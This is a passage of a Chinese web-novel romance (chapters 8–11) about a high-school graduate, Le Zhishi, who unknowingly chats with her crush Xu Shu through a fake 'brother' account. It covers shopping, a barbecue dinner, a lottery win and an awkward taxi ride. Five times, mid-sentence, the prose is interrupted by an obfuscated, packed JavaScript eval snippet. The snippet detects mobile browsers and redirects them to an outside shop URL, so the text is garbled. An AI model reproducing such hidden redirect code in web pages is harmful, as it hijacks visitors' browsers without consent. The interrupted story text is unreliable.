打完两局游戏，乐知世才发现对面没回她消息。 她也不是很在意，等到睡觉前，她就当什么都没发生过似的，照例询问。 【闭眼睛是在思考：哥，你们今天在宿舍群里聊什么了？】 对面发过来一张照片。 不是自拍，很模糊的球场照片，连入镜的人脸都看不出来是谁。 【XU：今天运动，没聊天。】 【闭眼睛是在思考：……你没聊，别人有没有聊？比如许树，他有没有在宿舍群里发什么？】 宿舍群？ 许树高中是不住校的，他和许宪一起回家。 如果他先放学，他会在许宪的办公室里学习或者在操场上运动一会儿再走。 排除掉所有不可能，许树点进了刚组建没多久的大学宿舍群。 大学宿舍群里的确有一个人和他来自同一个市，名叫赵逸丰。 另外两个人，则都是其他省的，分别是徐海晏、韦俞杰。 平时群里很活跃，不过里面的消息大多数都是徐海晏发的，偶尔韦俞杰也会主动发起些新话题。 而赵逸丰则只在别人提到他时，会回复几条消息，平时安静得异常。 许树盯着那个头像，觉得自己找到了乐知世真正的“哥”。 他点进赵逸丰的朋友圈，转了一圈儿回来。 【XU：许树也没有在群里发消息。】 没了许树，乐知世就丧失了和对面聊天的兴趣。 【闭眼睛是在思考：OK。】 【闭眼睛是在思考：那我睡了，拜拜。】 之后，经过一个星期的接触，许树发现乐知世这个人只相信自己愿意相信的。 他和乐知世说许树不好沟通，乐知世说许树这是有棱角。 他和乐知世说许树假期放纵，发胖变丑了，乐知世说许树有可能胖，但绝不可能丑。 …… 总之，不管他说许树哪里不好，乐知世都有自己的那套反驳理论。 她甚至还拐弯抹角地点他：“哥，我明白的，你这是嫉妒了吧？别担心，就算你真变成了棕色的大眼青蛙，我和你亲妹一样，都不会嫌弃你的。” 许树听不懂这和棕色的大眼青蛙有什么关系，但他知道，这么贬低自己没有用，乐知世并不是一个会被他人的三言两语所影响的人。 【闭眼睛是在思考：哥，早上好。今天许树在忙什么呢？麻烦在群里帮我问一下。】 乐知世每天起床第一句，就是先打听许树的消息。 【XU：你今天要忙什么？】 许树昨晚已经决定，不能再顺着乐知世的聊天节奏走。 【闭眼睛是在思考：今天约了同学去逛街买衣服，为毕业旅行做准备中[开心]。】 【XU：毕业旅行？你们准备去哪里？】 【闭眼睛是在思考：云南。】 这么巧？他们班的几个男生也准备在七月底去云南玩，还喊上了他。 许树刚答应没两天。 他搜索自己和乐知世的聊天记录，确定自己在此之前没有提到过“许树要去云南”这件事，放下心后，他回消息。 【XU：我也准备去这里。】 乐知世的注意力果然被转移，没再催他赶紧问许树。 【闭眼睛是在思考：哇！你们要去云南哪儿啊？不知道会不会偶遇，如果碰到了，我们可以见一面，我请你吃饭啊哥。】 【XU：还不确定，目前只定下了第一站，先去大理。】 乐知世点开小群团里导游发的行程。 杨顺琪爸爸帮她们定的团是六天五晚的，她们几个女生为了欣赏更好的风景，都升级了房型，有两天的住宿是雪山观景房和湖景房。 不过，她们定的这个团里面没有大理的行程。 【闭眼睛是在思考：好不巧！】 【闭眼睛是在思考：我们报团的行程里没有大理。】 【XU：报团？】 【闭眼睛是在思考：是啊，我们四个女生出去，家长不放心，所以选择报团。你们不是吗？】 【XU：我们准备到了那边租车自驾。】 要说哪里的高考生最多，那绝对是暑假的驾校。 有的人刚考完试，就被家长打包送去学车，只要考试不挂，速 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745702|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 度快的差不多一个月就能拿到驾照。 本来乐东兰也想送乐知世去考驾照的。 但暑假练车的时间大都是在早上和下午，乐知世有自知之明，知道自己早上起不来，干脆不浪费那个钱，没去学。 不过现在听到对方说自驾游，乐知世又有些羡慕。 【闭眼睛是在思考：你拿到驾照了？】 【XU：嗯，都拿到了，到时候可以轮流开。】 听着有些酷，乐知世准备寒假回家时去驾校报名。 冬天学车就不需要起得太早了，她可以睡到自然醒再来驾校练车。 乐知世发了个“大拇指”的表情包过去，发完就把手机放进包里，她要出发了。 她今天是和胡芮约的，两个人直接定在商场见面。 胡芮比乐知世先到，还给她带了杯奶茶。 “知世，这里。”胡芮比乐知世矮一些，她原地跳了两下，试图让乐知世从人群里看见她。 乐知世听声辨位，她找到胡芮，有些不懂：“今天商场里怎么这么多人？” “因为放暑假啊，而且天气那么热，大家都不愿意去户外玩了。”胡芮挽着乐知世的手，拽着她往扶梯处走，商场里的服装店大部分都在二楼和三楼，“来商场里吹空调多舒坦。” 这倒是。 不过二楼人不多，乐知世和胡芮随便进了家店就开始逛。 她们的行程是从八月一号到八月六号，云南的紫外线虽强得出名，但也阻挡不了她们要出片的决心。 胡芮准备买条吊带裙和披肩，而乐知世准备买些配饰。 逛了几家店，两人都是空着手进去、空着手出来。 商场店里面的衣服像是复制粘贴似的，没有几件让人眼前一亮的款式。 胡芮叹气：“身累心累。刚刚那个店员的白眼快翻到天上去了。” “那也不能将就。”胡芮差点就要为她的不好意思买单，关键时刻，乐知世把她拽走了，“而且刚刚你要买的那件，太长了，压身高，根本不适合你。” “没办法，试了不买总觉得有些尴尬。”胡芮脸皮薄，“还好今天有你陪我。” 乐知世以前也会有这样的想法，总觉得麻烦了对方：“我们是消费者，买东西是双向选择，不需要有负担。” 这是许树曾经和她说过的话。 有次午休，乐知世在学校门口的文具店试了几只笔，因手感不好，她试完没有买，被文具店老板拽住批评。 文具店老板嗓门很大：“不买你试什么？试了好几支，一支都不买，你是来找茬的吧？小姑娘穿得像个好学生，怎么净做些占人便宜的事。” 乐知世知道男女力量悬殊，加上当时又没其他人在，她便准备随便拿一支买单，省得在这里浪费时间。 门口因有人进来，响起了“欢迎光临”的铃声。 “哟，原来这是家黑店啊，还玩上强买强卖这套了。” “你早说不能试用啊，赶紧把笔上贴的试用标签给撕了，在这里贴着，万一有人看见了当真，占你便宜怎么办？” 许树走过来，把她手上拿着要买的笔丢下，直接无视身后老板的难听话，拽着她出了门。 走出去之前，他还真伸手扯下了其中一只笔上的试用签。 那是他们第一次牵手。 哦，其实只是拽着校服袖子，但在乐知世眼里，和牵手没区别。 9. 第 9 章 事实上，许树的出现对乐知世而言是个麻烦。 本来用一点小钱能解决的事情，硬生生变成了她得绕远路去另一家店里买文具。 但她仍旧觉得他很酷。 他身上有她想要的不妥协，而这份不妥协也传递给了她力量。 她打电话给12315投诉那家店了。 最后，胡芮在商场三楼一家不起眼的小店里，淘到了一条很有异域风情的吊带裙。 陪胡芮买完裙子后，便轮到她陪乐知世去挑墨镜了。 云南海拔高、阳光刺眼、紫外线强烈，一副能护眼的墨镜是刚需。 当然，乐知世的要求不止实用，还得兼顾美观。 她随了乐东兰，脸盘小巧，很多眼镜都挂不住，必须得线下试戴才行。 导购特别耐心，给乐知世提了不少实用的建议。 胡芮原本没打算买，可看着乐知世试戴的墨镜都挺酷飒好看，也忍不住跟着挑了起来。 就在两人都戴着新墨镜、正对着镜子打量时，一阵耳熟的声音从身后传来，她们下意识地同时回头。 是隔壁班的男生。 都是脸熟的，但叫不出名字。 除了许树。 再继续看下去就不礼貌了，哪怕隔着黑漆漆的墨镜也不合适。 乐知世重新面向镜子，透过镜子看着身后那群人。 “配一副眼镜。”许树出声。 另一位导购将他引到验光室：“来这边先验光。” 剩下的几个男生叽叽喳喳讨论着什么，乐知世听不太清楚。 她的心思飘向了不大的验光室里。 许树居然近视吗？她好像都没见过他戴眼镜的样子。 “知世，你看我脸上这副墨镜怎么样？”胡芮转头问她意见。 乐知世回过神，盯着墨镜仔细打量了几秒，认真给出了评价。 胡芮买好单。 乐知世还在那几款墨镜中纠结，其实她早就选中了自己想要的，只是想等许树出来，她很好奇他戴眼镜的样子。 胡芮也不催她，她把装衣服和墨镜的袋子放在椅子上，径直走到那群男生面前，冲其中一人喊了声：“周骐骐！” 周骐骐，那个染了红毛的潮男抬眼看来：“小芮子，你怎么在这儿？” 这个称呼换来胡芮毫不客气的一顿拍打。 两人闹完，周骐骐自然地把手搭在胡芮肩上，给其他人介绍：“这是我发小兼邻居，胡芮。” 这群男生刚从体育馆打完球，身上还带着汗味，胡芮忍到介绍结束，就立刻拨开周骐骐的手：“你身上臭死了。” 周骐骐嘻嘻哈哈地没当回事：“你这边结束了吗？准备怎么回家？要不要和我一起走？” “我和我朋友一起来的。”胡芮说着，指了指正在扫码付钱的女生。 乐知世拎着袋子，走到胡芮旁边：“你们好。” 等许树从验光室里出来，刚进门时在试戴墨镜的两个女生，已经很完美地融入了他们。 今天晚上原本是许树要请大家吃饭，现在加上的胡芮和乐知世，算是周骐骐临时多喊的两个人，他没有占许树便宜的意思，但当着众人的面直说也不妥，便私下给许树发了消息。 【是骐不是七：许树，我发小和她朋友吃饭的钱一会儿单独算，我来出。】 许树看见周骐骐发的消息，嘴角压了下去。 【XU：不用你出，多两个女生而已，没多少。】 周骐骐没揪着这点拉扯，干脆利落地回了消息。 【是骐不是七：那行，我替她们谢谢你，下次我请。】 许树眉头皱在一起。 他算乐知世的谁？还轮到他替乐知世感谢上了？ “你好，这边度数调整好了，来试戴下，看看晕不晕。” 被导购一打岔，许树已经错过了回应周骐骐的最好时机。 等他再想掏出手机和周骐骐说清楚时，抬头却见周骐骐正和她们聊得热火朝天，根本没有看手机的意思。 许树撤回那条消息，迈步走到了她们附近站定。 “许树，你这边好了吗？”周骐骐咧嘴一笑，露出整齐的白牙。 其实他们进到商场里面，主要就是为了吃饭。 是许树路过这家眼镜店，突然提了句要进来配副眼镜，几人才临时拐了进来。 “嗯，度数确定好了，已经在装了。” 好近的声音。 乐知世微微偏头，意识到许树就站在她身旁，是摆摆手就会碰到的距离。 不知道怎么的，乐知世突然想起那份文档上的一个问题。 “许树眼里，和异性的最佳社交距离是？” “一米及以上。” 很显然，他们俩现在的距离已经越过了那个界限。 这个发现让乐知世有些不高兴。 ——许树是没把她当异性吗？ 眼镜很快配好，许树没有戴，拿到后直接将眼镜盒放进了包里。 加上两个女生，一共六人。 他们来之前就定好了要吃烧烤。 烧烤这种东西，就是要配着啤酒喝才有感觉。 而在男生眼里，可以自由喝酒，也是变成大人的象征之一。 他们刚坐下，就有一个男生对着服务员喊：“先上两扎生啤。” 周骐骐坐在两个女生身边，他转头主动问：“你们俩想喝什么？” 本来乐知世和胡芮都是要喝可乐的，但看见隔壁桌大口吃肉、仰头喝酒的酣畅架势，忍不住有些心动。 “知世，我们也尝尝生啤怎么样？”胡芮提议。 乐知世正在手机上给徐荷清她哥发消息，她闻言点点头：“都行。” 她们不是没喝过啤酒的人，谢师宴那天，大家就是人手一罐青岛啤酒，喝完了什么事都没有。 但周骐骐哪敢给她们俩喝，万一胡芮喝醉了，待会儿他们俩一起回家，他还不得被他妈骂死！ “不行。你们女生在外面不能喝酒”周骐骐双手双脚都在反对，“喝醉了太麻烦。” “哇！合着你们男生喝醉了就不麻烦？”胡芮翻了个白眼，她本来只是有点意动，现在听见周骐骐这么说，倔劲儿直接上来了，“再说了，论酒量，你还不一定比我好呢！” 周骐骐架不住胡芮在桌下拧他大腿肉，最后举手投降：“好好好，你酒量最好，那就再加一扎。” 生啤被服务员端上桌时，乐知世也终于敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745703|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完了那一大段消息。 【闭眼睛是在思考：啊啊啊——哥！我和你说，我今天的运气简直好到可以去买彩票了。我和许树啊！竟然在百万人海中相遇了！不光是相遇，我们现在、此刻，就坐在同一张桌子上吃饭。天呐，他就坐在我对面，刚还在我面前喝水！他的嘴巴好粉，沾上水变得湿润润的，看上去好好亲！幸福得想晕过去了[爱心]。】 她点下发送的同时，许树放在桌上的手机一震。 【闭眼睛是在思考：我决定吃完饭就去买彩票。】 屏幕还没暗下去，又是一震。 【闭眼睛是在思考：没中就当我做慈善了，中了的话……你说我拿彩票送给他，换一个亲亲，能行吗？】 再次一震。 震动声的存在感并不强，但乐知世一直关注着许树那边，自然第一时间就注意到了。 她飞快地低下头，只简单敲了一个字。 【闭眼睛是在思考：哥。】 发送后，她握紧手机等了两秒。 对面的手机安安静静，没有半点震动。 呼—— 应该只是巧合而已。 这时，胡芮已经倒满一杯生啤推到她面前，笑着说：“知世，你尝尝？” 她好歹认识周骐骐，乐知世却是完全因为她才过来的，胡芮便多照顾了她几分，怕她对着一群不太熟的人觉得尴尬。 “谢谢。” 在饭桌上抱着手机玩并不礼貌，乐知世把手机随手放在桌上，认认真真地开始撸串儿。 这家店是炭火烤串，肉串端上来时是半熟的，整齐地架在桌边的自动旋转烤架上，等烤到油脂滋滋往下滴，裹着炭火的焦香漫出来，就是最好吃的时候。 胡芮和周骐骐吵吵嚷嚷地拌着嘴，坐在中间的两个男生正举着杯子拼酒，同样热热闹闹的。 而坐在最外围的乐知世和许树，则安静地盯着烤架上转动的串儿。 隔着炭火，乐知世偶尔抬眼扫过许树，她心底悄悄升起一丝隐秘的开心。 她和许树能吃到一起去！ 这是不是意味着，以后他们结了婚，也不会因为吃饭的事儿而吵架？ 好配。 嘻。 烤架上的肉串已经滋滋滴了半天油，边缘都快烤得焦干了。 许树本来想着，把这几串最香的让给乐知世，可等了半天，也没见她动手。 这会儿肉串的口感该差不少了。 他抬手准备去拿，乐知世瞥见他的动作，从幸福的婚后生活里回过神来，也跟着伸手凑了过去。 她晚了一步。 “这个烤老了。”许树先拿走，把这几串扔到其他几人的盘子里，“我再给你烤新的。” 再给她烤新的？ 只给她烤吗？ 乐知世决定现在就要去买彩票。 她刚才不小心碰到了许树的手，肯定能中奖。 乐知世和胡芮说去卫生间。 她记得商场卫生间不远处就有个卖彩票的站点。 她买了一张十块钱的刮刮乐。 正准备开始刮，手机响了下。 【XU：[微信红包]彩票钱。】 【XU：刮到中奖。】 10. 第 10 章 乐知世买的刮刮乐是“好运十倍”。 她从数字最多的那排开始往下面刮，把所有被选在其中的数字都暴露出来后，拍了张照片发过去。 【闭眼睛是在思考：你觉得我中奖的希望大吗？】 【XU：你中了。】 【闭眼睛是在思考：我还没有刮中奖号码，你就这么确定？】 【XU：因为你运气好。】 乐知世用手机压住卡片一角，把“中奖号码”刮出来：24。 她拧眉。 不喜欢这个数字，听起来像“爱死”。 本来她的爱情就半死不活、毫无进展了，再一看“我的号码”里。 得了，23和25出现好几次，就是没有24。 没中奖。 【闭眼睛是在思考：好运气用光了，没中。】 【XU：领红包。】 【XU：再买。】 她要是直接买连号的二十张，肯定至少能中十块钱。 但那能一样吗？ 乐知世垂下脑袋，拿着没中奖的废纸一张，给别人让位。 【闭眼睛是在思考：以量取胜，胜之不武。】 【闭眼睛是在思考：而且我想要的就是随手拿到的那一张中奖，别的……还是算了吧。】 【闭眼睛是在思考：感谢XU哥对我爱情的支持，下次一定。】 乐知世着实没料到他会给她发红包。 她想，徐荷清她哥是个好人。 【XU：。】 【XU：扔了？】 那当然没有，她还没来得及。 看到结果后，乐知世第一时间就和他说了，现在还站在彩票站点附近垂头打字中。 【XU：但你真的中了。】 乐知世拿起来又检查了一次，仍旧没在“我的号码”发现“24”的踪影。 检查完，她被自己逗笑。 徐荷清她哥连中奖号码是数字几都不知道，她怎么还把他的话当真了？ 像是知道她在想什么似的。 【XU：没骗你，去自助彩票机那里扫码。】 哪怕他说的那么肯定，乐知世也没相信。 但她还是去扫了。 反正现在自助彩票机前面没人，看在他今天挺支持她的份上，乐知世愿意配合他一下。 ——“请确认兑奖金额。” ——“10000元。” …… 拿出手机扫描收款二维码时，乐知世的心跳飞快，扫完后她仍无法冷静，捏着刮刮乐的手还有些抖。 她拿起刮刮乐再次研究，终于在最下方看见一行字。 “刮出号码10，可得该号码所在行对应奖金的十倍。” 乐知世服了自己。 在发现这条规则前，她还以为是有人在后台暗箱操作。 手里握紧的手机一震，乐知世去看新消息。 【XU：现在，要拿这笔钱买一个亲亲吗？】 乐知世：……真是哪壶不开提哪壶！ 她收回那句他是好人。 乐知世没再回他消息，她揣着有些烫手的“巨额奖金”回到了烧烤餐厅。 她的盘子里放着几根刚烤好的、油光冒香的肉串。 胡芮凑在她耳边小声地关心：“是因为生啤太冰，肚子不舒服了吗？” “不是，去卫生间的路上路过彩票站点，顺手买了张刮刮乐玩。”乐知世说。 胡芮没再问下去，只要不是吃坏了肚子就行。 她转头继续和周骐骐说话。 乐知世拿起肉串咬了一口，满足地抬眼。 许树在看她。 而她在用嘴撸串儿，唇角甚至能感受到黏腻的酱汁。 对视上的那瞬间。 乐知世决定，以后谈恋爱约会，绝不能选择吃烤串。 临时搭上的饭局结束。 桌上摆着七扎空的生啤和两瓶江小白，周骐骐认命地把醉得走不了直线的胡芮背在身上，他哀嚎：“回到家我妈肯定得打我一顿。” 吃到后面，大家熟悉起来，玩起了网上的酒桌游戏。 胡芮又菜又爱玩，还不许周骐骐替她喝，桌上的酒有一半都是被她喝了的。 周骐骐嘴上抱怨，但又像个老妈子一样操心：“等以后上大学了，在外面还这么喝可怎么办？” “她不会的。”乐知世喝得没胡芮多，但脸上也被浅薄的酒精熏红，“胡芮是知道你在才敢这样。” 周骐骐虽然染着一头红发，看上去像叛逆少年，实际上却是个做事稳妥的人，他看了眼帮忙扶着胡芮的少女，再看向勾肩搭背唱好汉歌的两个蠢蛋，最后把视线停在了不远处的许树身上。 “许树，再帮我个忙。”周骐骐背着人，不方便手机私聊他，只能喊出声，“你把知世送回家呗？我给你报销路费。” 周骐骐是跟着胡芮喊的名字。 许树还没回应，乐知世先急了：“不用不用，我没喝多少酒，自己打车回家没问题的。” “那不行，胡芮明天醒过来知道你是自己回去的，她会把我杀了的。”周骐骐说话很夸张。 许树走得更近：“用不着你报销。”这是答应的意思。 乐知世因为许树的靠近自动闭麦。 而周骐骐热泪盈眶、极其大声地说：“好兄弟，一辈子。” 许树根本没搭理他这句话，替他摁亮电梯后，催促道：“你快走吧。” 送走了他们四个人，电梯门在眼前合上。 乐知世跟着许树走上扶梯后，才慢半拍地问：“为什么我们刚刚不和他们一起进电梯？” 许树站在她前面，明明已经比她矮了一阶，但她还是得微微仰头看他。 他很高，应该超过一米八五了。 “他们身上都是酒味，不好闻。”许树说。 乐知世安静下来，她觉得自己身上也有酒味，嘴巴里最重。 两个人很快就走到了商场外面，离开了空调，室外的高温迅速将酒味蒸浓。 好在路边的出租车很多，等待了大概两分钟就有空车在他们面前停下。 许树坐在了副驾驶。 独自坐在后座的乐知世刚要摸出手机，就被司机的弹射起步惊到。 她系好了安全带，所以没被撞到，只是感受到了胃里在翻江倒海。 随便选择的出租车司机是个狂野派，车内放着震天响的摇滚乐，车速随着音乐节拍逐渐变快。 马上到小区门口时，乐知世已经做好冲下车扶树呕吐的准备了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745704|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但乐知世的好运气似乎真的被那张中奖的彩票耗完。 在这种关键时刻，后座的安全带坏了。 胃里的东西已经顶到了嗓子眼，乐知世硬压着翻涌的不适，对司机开口：“叔叔，安全带突然解不开了。” “哎哟！又坏了？”听这意思，显然不是第一次出现问题。 那司机摸了摸亮滑的光头：“你再多试几下，使劲儿往下摁。” 许树这时走过来拉开后车门，他先下了车，没有听见他们刚才的对话，问：“怎么了？” 乐知世没办法回答他，她觉得自己再开口，出来的可能不是话，而是别的什么东西了。 司机坐在位置上不动如山，只探了个脑袋：“小姑娘安全带打不开了，小伙子你帮忙弄下。” 许树应了声，他弯腰靠近。 在这种狭小昏暗的空间里，以两个人现在如此近的距离，本应该是暧昧的氛围。 但乐知世半点心思都没有。 想吐的感觉越来越强烈，她现在脑子里只剩一个念头：快点解开安全带，她要冲下车。 乐知世侧身让空，许树最好看的半边脸在她眼前晃悠。 “不行，卡死了。”许树用了几次蛮劲，根本压不下去，“应该是里面坏了，这得去修。” “修什么修，麻烦。”那司机接到了新单子，“就这么扣着吧。” 他开始赶他们下车：“小伙子，你帮忙拽着安全带，让小姑娘从下面钻出来，我着急去接客人。” 安全带勒得很紧，许树扯着一端，才能给乐知世轻松滑出来的空间。 乐知世穿着裙子，其实并不方便做屈膝伸腿的动作，但这会儿她顾不上那么多。 她一只手拽着裙角，刚钻出车外，弯腰的动作压迫到紧绷的胃部，一阵强烈的反胃直冲喉咙，她再也忍不住了。 车子飞快地溜走。 留下站在原地的两个人。 许树：…… 乐知世：…… “你……我……”乐知世的手还扶在他的胳膊上，“唉！对不起！” 许树还算冷静地开口：“我这个样子打车，可能没有人会愿意接单，方便去你家洗个澡吗？” “方便的、方便的。”就算家里有人，乐知世也得把他领回去。 许树跟在乐知世身后，一言不发地快走着，他屏住呼吸，不去感受。 进到乐知世的家里，许树只说了一声“叔叔好”，便被她引到浴室。 石寄华看清了他身上的狼藉，没多问，还帮忙找了套自己的干净衣服递过去。 等听见里面水声响起，他才拽着满脸生无可恋的女儿，压低声音问道：“怎么回事？” 乐知世瘫坐在沙发上，声音闷闷的：“我吐的。” 石寄华抽了抽鼻子：“你喝酒了？” “……就喝了两杯啤酒。”乐知世说，“吐不是因为这个，是司机开车太野，晃得我受不了。” “你没事就行。”石寄华催她回房间，“一会儿我送他回家，你躺床上休息。” 乐知世没脸再面对许树，闻言立刻起身。 回到房间后，她摸出兜里的手机。 心如死灰地打下一行字。 【闭眼睛是在思考：我不喜欢许树了。】 11. 第 11 章 许树是在两个小时后，才看见乐知世给他发过来的消息。 他在乐知世家里匆匆洗完澡，本来准备自行离开，但架不住乐知世爸爸的再三坚持，最后还是由对方开车送他回家。 许树坐在副驾驶上，总觉得自己只顾着玩手机不太礼貌。 所以这一路，两个男人有一搭没一搭地尬聊，气氛略显沉闷，直到车子快开到许树家小区门口。 “许老师？”石寄华看见了正拎着菜回家的许宪，他降下车窗，热情地想捎上步行的许宪一起，“你也住在前面那个小区吗？上车我送您过去。” 石寄华之前经常去给乐知世开家长会，他不仅认识许宪，两人甚至还有联系方式。 许宪弯腰眯眼，也认出来石寄华：“不用麻烦你，我这走两步就当活动活动身体。” “哎呀，顺路的事儿。”石寄华没放弃，还在邀请，“我刚好要去前面的小区送人。” 就在许宪要答应的时候，车内传出另一道声音。 “叔叔，我下车和我爸一起走回去，麻烦您送我回家了。” 许宪凑近车窗，看清了副驾驶上的人。 石寄华闻言愣了愣，回头。 “儿子？” “谁爸？” 两道声音同时响起。 许树先回答了石寄华：“叔叔，这是我爸。” 他已经松开安全带，但拉了下车门没打开，只能再提醒一句：“叔叔，车门没解锁。” “不用下，许老师你上车。”石寄华哈哈两声，但脸上表情看不出有多高兴，“真巧真巧。” 这下是真顺路，连目的地都一样。 又经过一番推让拉扯，许宪也败给了热心肠的石寄华。 父子俩被石寄华送到了家门口。 等车子彻底消失在视线范围内，许宪转头看向身边的儿子，无奈地叹了声气：“你可得好好想想，到底是怎么得罪了我的爱徒。我可不想以后她功成名就，却因为你的缘故，连来看望我都不愿意。” 刚才在车上，许宪见许树穿了身陌生的衣服，便随口问了一句，开车的石寄华立刻面露歉意，简单说了几句前因后果。他便知道了乐知世“不小心”吐了许树一身的事情。 许宪压根不相信乐知世是“不小心”的。 再怎么不小心，也不可能对着人吐啊，还偏偏这么凑巧，全吐到了许树身上。 许树瞥了许宪一眼，脸上没什么表情，显然没有要和他爸多说的意思。 进了家门，他便径直走向浴室。 在乐知世家时，他不过是简单地冲洗掉污渍，回到自己家，才真正仔仔细细地清洗起来。 等他擦着湿漉漉的头发走出浴室，单手捞过放在旁边的手机，看清屏幕上跳出的新消息时。 他笑了。 被气笑了。 是她吐了他一身，不是他吐了她一身吧？ 【XU：原因是什么？】 …… 乐知世早就睡下了，她酒量一般，虽然没醉但也微醺。 洗完澡后倦意涌了上来，她没硬撑，倒头就睡着了。 睡得早，醒得自然也早。 她还是第一次在放假后见到早上五点多的……卧室天花板。 乐知世裹着夏凉被坐在床上，神游了会儿才拿起手机。 用了将近三年的手机因过多的消息卡顿了几秒。 【XU：因为那张彩票？】 【XU：还是因为他在饭桌上做了什么事情，惹你不高兴了？】 【XU：我听他说，他送你回家的路上发生了一点小意外。总不能是因为你吐在他身上的时候他没笑吧？】 …… 对面猜测了各种五花八门的理由，最后大概是词穷了。 【XU：反正你就是不喜欢许树了对吧？】 最后一条消息是凌晨三点半发过来的。 乐知世没想到徐荷清她哥这么有责任心，帮她追人搜集消息都如此真情实感。 她很感动。 【闭眼睛是在思考：哥，你放心，就算我不喜欢许树了，我也不会删掉你的，你不用反应这么大。】 对面秒回。 【XU：你还想删掉我？】 乐知世：……她不是那个意思。 等等，他怎么还没睡觉？ 不会一直在等她回消息吧？ 【XU：你先说说看，昨天下午还对许树情意正浓，怎么一回到家，就突然说不喜欢了？】 乐知世无声叹气。 【闭眼睛是在思考：哥，你不是已经知道我吐在他身上的事了吗？】 【闭眼睛是在思考：[大哭]太尴尬了，我短期内都不好意思说我喜欢他了。】 【XU：？就因为这个？】 【闭眼睛是在思考：这还不够吗？哥，难道你会喜欢上一个对着你大吐特吐的女孩子吗？】 【XU：……】 【XU：这也不好说。】 【闭眼睛是在思考：哥，那你口味挺重的[大拇指]。】 【闭眼睛是在思考：不过我有点接受不了这种事，等我把这件事遗忘，我再和许树谈追求、谈爱情。】 看着乐知世发过来的消息，已经打了很长一段话来劝她这只是件小事的许树，忽然清醒过来。 他要的不就是她不喜欢他吗？ 怎么现在还劝她呢？ 他应该顺着她的意思，让她放下她对自己的喜欢才对。 许树删掉了输入框里的长篇大论，回了两句。 【XU：嗯，挺好。】 【XU：好好学习，多交朋友，少谈恋爱。】 【闭眼睛是在思考：哈哈哈哈哈，哥，你这话也太像我爸会说的了。】 许树当了哥又当完爸，压了一整晚的困意终于姗姗来迟。 【XU：我只想当你朋友。】 【XU：睡了，晚安。】 晚安？晚安不了一点。 乐知世现在精神抖擞地能吃下一头牛。 她拉开窗帘，在瑜伽垫上运动了一会儿，又“噔噔噔”地跑到厨房。 翻箱倒柜的动静太大，吵醒了乐东兰和石寄华。 乐东兰没骂女儿，反倒踹了身边的老公一脚：“石寄华，你还睡得着？出去看看你女儿在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745705|189880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙些什么！” 石寄华顶着鸡窝头，困得眼睛都没完全睁开，摸索着走进了厨房。 “爸，你起来了？要不要来一碗？”乐知世在煮方便面，“现在还可以再加包面。” “我不吃，你今天怎么起这么早？现在又不用上学，该不会是生病了吧？”石寄华揉揉酸胀的眼睛，艰难看清女儿。 “睡饱了就起了。”乐知世捏着锅把手，将它举起来，连汤带面倒进碗里，“爸，你不吃就回房间睡觉，别在这儿盯着我吃，我会不好意思。” 石寄华瞧着她腮帮塞得鼓鼓囊囊的样子，半点没看出她的不好意思。 既然醒都醒了，石寄华没准备睡回笼觉，他洗了把凉水脸，在女儿对面坐下：“昨天那个男生是你们班主任的儿子，叫许树？” “嗯。”乐知世听见许树的名字，就不由自主地想起了昨天的事，她瞬间没了胃口，手里夹面的动作都慢了下来。 “你们俩——”石寄华刚开口就被乐知世打断。 “我们俩不认识。”乐知世面也不吃了，她非常刻意地强调着，“昨天碰见只是意外。” 石寄华愣了愣，随即失笑：“我也没说什么啊。” 他看着女儿急于撇清的模样，慢悠悠地补了句，“不过你这么着急解释，倒有点此地无银三百两了。” 尚处在青春期的十八岁是经不起打趣的。 乐知世恼羞成怒地回了房间，把门摔得震天响。 她喜欢许树的事情，现在又多了一个人知道。 …… 四千多的旅行团，不包含往返大交通和餐食，只负责云南当地的住宿、景点门票以及行程内交通。 为了方便沟通，她们四个女生特意建了个群，没想到出师不利，在买机票这件事上，大家的想法出现了分歧。 杨顺琪和朱佑觉得钱需要花在刀刃上，她们打算把行李提前寄去云南，直接□□秋航空的红眼航班出发。 